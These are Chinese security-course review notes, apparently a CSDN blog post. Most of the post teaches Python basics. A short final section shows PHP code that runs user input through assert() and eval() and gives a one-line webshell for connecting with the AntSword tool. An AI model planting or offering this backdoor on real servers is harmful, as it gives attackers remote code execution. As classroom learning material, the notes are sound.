安全课复习(五)

一、python知识点总结

人生苦短,我用python

python是一种解释型,面向对象,动态数据类型的弱类型高级程序设计语言
特点:

优点:
	1,语法简单 
	 Python 不要求在每个语句的最后写分号,当然写上也没错;
	 定义变量时不需要指明类型,甚至可以给同一个变量赋值不同类型的数据。
	2,Python 是开源的
	3,Python 是解释型语言,能跨平台,给其他语言当脚本使用
	4,Python 是面向对象的编程语言
	5,Python 功能强大(模块众多)
缺点:
	1,运行速度慢
	2,代码加密困难
	3,强制缩进
	4,单行语句 
	由于Python可以在尾部不写分号,所以一行只能有一条语句。

执行 Python 语法
可以直接在命令行中编写执行 Python 的语法
在这里插入图片描述
Python 缩进
缩进指的是代码行开头的空格。
在其他编程语言中,代码缩进仅出于可读性的考虑,而 Python 中的缩进非常重要。
在这里插入图片描述
但如果不缩进,就会报错。
在这里插入图片描述
必须在同一代码块中使用相同数量的空格,否则 Python 会出错
在这里插入图片描述
Python 变量

实例
	x = 10
	y = "Bill"
	print(x)
	print(y)

Python 变量命名规则:

变量名必须以字母或下划线字符开头
变量名称不能以数字开头
变量名只能包含字母数字字符和下划线(A-z、0-9 和 _)
变量名称区分大小写(age、Age 和 AGE 是三个不同的变量)

向多个变量赋值

Python 允许您在一行中为多个变量赋值
	x, y, z = "Orange", "Banana", "Cherry"
	print(x)
	print(y)
	print(z)
可以在一行中为多个变量分配相同的值
	x = y = z = "Orange"
print(x)
print(y)
print(z)

全局变量

在函数内部创建一个与全局变量同名的变量:
如果在函数内部创建具有相同名称的变量,则该变量将是局部变量,并且只能在函数内部使用。具有相同名称的全局变量将保留原样,并拥有原始值。
例:
x = "awesome"

def myfunc():
 x = "fantastic"
 print("Python is " + x)

myfunc()

print("Python is " + x)

Python 数据类型

文本类型:	str
数值类型:	int, float, complex
序列类型:	list, tuple, range
映射类型:	dict
集合类型:	set, frozenset
布尔类型:	bool
二进制类型:	bytes, bytearray, memoryview

获取数据类型
打印变量 x 的数据类型:
	x = 10
	print(type(x))

Python 列表

Python 集合(数组)

Python 编程语言中有四种集合数据类型:
	列表(List)是一种有序和可更改的集合。允许重复的成员。
	元组(Tuple)是一种有序且不可更改的集合。允许重复的成员。
	集合(Set)是一个无序和无索引的集合。没有重复的成员。
	词典(Dictionary)是一个无序,可变和有索引的集合。没有重复的成员。
	
	您可以通过引用索引号来访问列表项:
	打印列表的第二项:
		thislist = ["apple", "banana", "cherry"]
		print(thislist[1])
	负的索引
		负索引表示从末尾开始,-1 表示最后一个项目,-2 表示倒数第二个项目,依此类推。

在这里插入图片描述

*Python 字典
字典是一个无序、可变和有索引的集合。在 Python 中,字典用花括号编写,拥有键和值。
保时捷 911 1963
thisdict = {
“brand”: “Porsche”,
“model”: “911”,
“year”: 1963
}
print(thisdict)
在这里插入图片描述
Python 条件和 If 语句

a = 10
b = 6
if b > a:
	print("b is greater than a")
elif a == b:
	print("a and b are equal")
else:
	print("a is greater than b")

循环
While 循环
之前写的python作业在这里插入图片描述for循环
在这里插入图片描述
Python 类和对象

创建类:
	使用名为 x 的属性,创建一个名为 MyClass 的类:
		class MyClass:
		x = 5
创建对象:
	创建一个名为 p1 的对象,并打印 x 的值:
		p1 = MyClass()
		print(p1.x)
__init__() 函数
	使用 __init__() 函数将值赋给对象属性,或者在创建对象时需要执行的其他操作
		创建名为 Person 的类,使用 __init__() 函数为 name 和 age 赋值:

class Person:
  def __init__(self, name, age):
 	self.name = name
	self.age = age

p1 = Person("Bill", 63)

print(p1.name)
print(p1.age)

在这里插入图片描述
Python 迭代器
迭代器是一种对象,该对象包含值的可计数数字。
迭代器是可迭代的对象,这意味着您可以遍历所有值。
在 Python 中,迭代器是实现迭代器协议的对象,它包含方法 iter() 和 next()。
列表、元组、字典和集合都是可迭代的对象。它们是可迭代的容器,您可以从中获取迭代器(Iterator)。

例:
	mytuple = ("apple", "banana", "cherry")
	myit = iter(mytuple)

	print(next(myit))
	print(next(myit))
	print(next(myit))

在这里插入图片描述

二、assert利用蚁剑登录

1,assert()
	<?php

		$str = $_GET['input'];
		assert($str);

	?>
2,eval()
把字符串 code 作为PHP代码执行。 该字符串必须是合法的 PHP 代码,且必须以分号结尾。

	<?php

	 $code = $_GET['code'];
	 eval($code);

	?>
注意:eval 是一个语言构造器而不是一个函数,不能被可变函数调用。
构造木马:assert(eval($_POST['2']));
![在这里插入图片描述](https://img-blog.csdnimg.cn/7b1f39263e9f4570b0793ad03eea3e68.png)

default 不推荐使用,我们就用base64编码
在这里插入图片描述
可以设置代理
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值